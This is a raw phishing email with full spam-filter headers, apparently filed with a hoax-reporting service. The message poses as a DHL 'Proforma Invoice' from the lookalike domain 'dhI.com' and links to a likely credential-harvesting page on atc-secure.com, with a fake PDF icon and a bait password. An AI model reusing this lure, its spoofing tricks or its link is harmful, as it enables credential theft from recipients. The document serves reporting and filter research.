Hoax Clearing Center

X-He-Spam-Score: 8.5

Return-Path: <Noreply@dhI.com>

Delivered-To: dropbox@plan.io

Received: from m.launch.gmbh ([127.0.0.1])

by m.launch.gmbh with LMTP

id uA6PMY/rmmcEvzEAJzdhvw

(envelope-from <Noreply@dhI.com>)

for <dropbox@plan.io>; Thu, 30 Jan 2025 04:01:35 +0100

X-Spam-Checker-Version: SpamAssassin 3.4.6 (2021-04-09) on m.launch.gmbh

X-Spam-Flag: YES

X-Spam-Level: ********

X-Spam-Status: Yes, score=8.5 required=5.0 tests=BAYES_00,DMARC_FAIL_NONE,

DMARC_FAIL_NONE_IGNORE,HTML_IMAGE_ONLY_16,HTML_IMAGE_RATIO_08,

HTML_MESSAGE,HTML_SHORT_LINK_IMG_2,MIME_HTML_ONLY,PYZOR_CHECK,

RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_DNSWL_NONE,RCVD_IN_MSPIKE_H2,

RCVD_IN_SBL_CSS,SPF_FAIL,SPF_FAIL_IGNORE,SPF_HELO_NONE,

T_MXG_EMAIL_FRAG,URIBL_ABUSE_SURBL,URIBL_MW_SURBL,URIBL_PH_SURBL

autolearn=no autolearn_force=no version=3.4.6

X-Spam-Report:

* 1.3 URIBL_MW_SURBL Contains a URL listed in the MW SURBL blocklist

* [URIs: atc-secure.com]

* 1.2 URIBL_ABUSE_SURBL Contains an URL listed in the ABUSE SURBL

* blocklist

* [URIs: atc-secure.com]

* 0.6 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist

* [URIs: atc-secure.com]

* 3.3 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS

* [104.168.34.163 listed in zen.spamhaus.org]

* -1.9 BAYES_00 BODY: Bayes spam probability is 0 to 1%

* [score: 0.0000]

* 5.0 SPF_FAIL SPF check failed

* 2.0 DMARC_FAIL_NONE DMARC check failed (p=none)

* -2.0 DMARC_FAIL_NONE_IGNORE m.launch.gmbh does not consider DMARC

* (p=none)

* -0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at

* https://www.dnswl.org/, no trust

* [64.90.62.164 listed in list.dnswl.org]

* 1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in

* bl.spamcop.net

* [Blocked - see <https://www.spamcop.net/bl.shtml?104.168.34.163>]

* 0.0 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)

* [64.90.62.164 listed in wl.mailspike.net]

* 0.0 SPF_HELO_NONE SPF: HELO does not publish an SPF Record

* 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

* 0.0 HTML_MESSAGE BODY: HTML included in message

* 0.0 HTML_IMAGE_RATIO_08 BODY: HTML has a low ratio of text to image

* area

* 0.0 T_MXG_EMAIL_FRAG URI with email in fragment

* 1.1 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of

* words

* 1.4 PYZOR_CHECK Listed in Pyzor

* (https://pyzor.readthedocs.io/en/latest/)

* 0.0 HTML_SHORT_LINK_IMG_2 HTML is very short with a linked image

* -5.0 SPF_FAIL_IGNORE Planio Inbox does not consider SPF FAILS on

* redirects

X-Spam-Score: 8.5

Authentication-Results: m.launch.gmbh; dmarc=fail (p=none dis=none) header.from=dhI.com

Authentication-Results: m.launch.gmbh; spf=fail smtp.mailfrom=dhI.com

Authentication-Results: m.launch.gmbh; dkim=none; dkim-atps=neutral

Envelope-to: inbox+rlxc+36be+hoax-clearing-center@plan.io

Received: from pdx1-sub0-mail-mx212.dreamhost.com (fltr-in2.mail.dreamhost.com [64.90.62.164])

(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)

key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)

(No client certificate requested)

by m.launch.gmbh (Postfix) with ESMTPS id 9884B160088

for <inbox+rlxc+36be+hoax-clearing-center@plan.io>; Thu, 30 Jan 2025 04:01:35 +0100 (CET)

Received: from postfix-inbound-v2-2.inbound.mailchannels.net (inbound-egress-7.mailchannels.net [23.83.220.5])

(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)

key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)

(No client certificate requested)

by pdx1-sub0-mail-mx212.dreamhost.com (Postfix) with ESMTPS id 4Yk3hF26bvz9PTj

for <lapor@turnbackhoax.id>; Wed, 29 Jan 2025 19:01:33 -0800 (PST)

ARC-Seal: i=1; s=arc-2022; d=mailchannels.net; t=1738206092; a=rsa-sha256;

cv=none;

b=EZ0EYfjaqejY4t6bkj5gEPzMIlCVs4J5MvCxNMInoVAYo+RVCFCJWbx8eqNDE1/HExNALW

Hzv7evJ+L5Md7L0hD7mqBj5c+pnRuSb+/w0fm9957cHY9sNCpPmSNxJO44fBhOcvfNb1UW

L0DOgkjyyLo+lcObAop9GS9BmbJahziiw1X0521wtYXWmx+r8qmV4wWQKi8Ulkgvf7AN4M

JwcFplcjNGL+wmfH2K03H1HbxVIro6O7hDRcSbKKWkTlx99nJejYUUVhMGKbSraNF+zO2i

fxoQlcom4UozJREebx7vrvzW8Q+qwMd0WwCZXdsOz6GbldavMsmagKPNiUkjFQ==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed;

d=mailchannels.net;

s=arc-2022; t=1738206092;

h=from:from:reply-to:subject:subject:date:date:message-id:message-id:

to:to:cc:mime-version:mime-version:content-type:content-type:

content-transfer-encoding:content-transfer-encoding;

bh=AS2P5sLfMErAdKTabUmBZoGIwQEFxMsL3SETnEh36Fk=;

b=a9lIZ/47fRyzg7M00qtPmWWWXKo/zVWaxdovHU3ovIOlp2tTS5h20+B2PcNUDx8Y9odGNp

UUMXCQgDFrtDv3kwI/SzAldOQKXY0pg7mHNrP80KM34GsdsZPny9ugSRa6e/ZULvtrdnr/

R6fSo97D1FUC9mxUpmM6xE4FHV2eQiIiNMPGG3eTwmoY2CmlXxnL1qR9JfOdFpxVWlT8RG

f68Gnlj+iFBDi600NExMaEXQvjuSkjZsXtnQqsWU88x0yCZu7aS3KkxC5jqQA+ZJ5lUktU

0ueiLZiesnQtWKl7eYLzeihxdDVkNCygXHc/L+xg1uAX72MP+knWOSONDU7bJQ==

ARC-Authentication-Results: i=1;

inbound-rspamd-d95797564-plscl;

none

X-VR-STATUS: SPAM

X-Message-ID: YvQ4PAP6VCpZzIDOaqZgQ36H

Received: from dhI.com ([UNAVAILABLE]. [104.168.34.163])

by 100.117.130.189 (trex/6.10.3);

Thu, 30 Jan 2025 03:01:32 +0000

Authentication-Results: inbound.mailchannels.net;

spf=fail smtp.mailfrom=Noreply@dhI.com;

dkim=none;

dmarc=fail (policy=none; pct=100; status=none);

arc=none

Received-SPF: fail (dmarc-service-5d67ddd967-mkf4j: domain of dhI.com does not

designate 104.168.34.163 as permitted sender) client-ip=104.168.34.163;

envelope-from=Noreply@dhI.com; helo=dhI.com;

From: Account <Noreply@dhI.com>

To: lapor@turnbackhoax.id

Subject: Proforma Invoice

Date: 30 Jan 2025 04:01:31 +0100

Message-ID: <20250130040131.B72CECE0037B337A@dhI.com>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

<html><head>

<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">

<meta http-equiv=3D"Content-Language" content=3D"en-us">

<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dwindows-1=

252">

<title>New Page 15</title>

</head>

<body>

<p><b>Dear&nbsp; AP Team,</b><br>

<br>

Hope you are doing well!<br>

Please check attached sample design and confirm if your factory can make 3=

=20

containers <br>

in&nbsp;90 days.</p>

<p>

<a href=3D"https://atc-secure.com/admincco/wetransdcco.html#lapor@turnbackh=

oax.id">

<img width=3D"157" height=3D"182" style=3D"border: 0px currentColor; border=

-image: none; width: 157px; height: 182px; white-space: normal !important;"=

alt=3D"" src=3D"cid:pdf.png" border=3D"0"></a></p>

<p>

<span style=3D"color: rgb(0, 0, 0); font-family: Verdana; font-size: 12px; =

font-style: normal; font-weight: 400; white-space: normal; text-decoration-=

color: initial; text-decoration-style: initial; text-decoration-thickness: =

initial; font-variant-ligatures: normal;">

<font size=3D"1">

<a href=3D"https://atc-secure.com/admincco/wetransdcco.html#lapor@turnbackh=

oax.id " data-cke-saved-href=3D"https://tinyurl.com/hwu9ubyj">

VIEW OR DOWNLOAD HERE</a></font></span><br>

Password is: <b><font color=3D"#ff0000">11093024</font></b><br>

We appreciate your timely reply<br>

<br>

<b>Thanks with kind regards</b><br>

<br>

&nbsp;</p>

<p><b>ORTIZ MIKE</b></p>

<br><br></body></html>